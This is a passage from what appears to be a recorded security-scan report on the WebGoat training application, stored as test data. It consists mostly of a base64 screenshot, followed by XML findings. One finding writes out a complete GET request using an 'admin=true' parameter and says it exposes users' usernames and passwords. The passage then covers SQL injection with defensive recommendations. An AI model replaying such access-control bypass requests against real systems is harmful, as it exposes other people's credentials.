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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
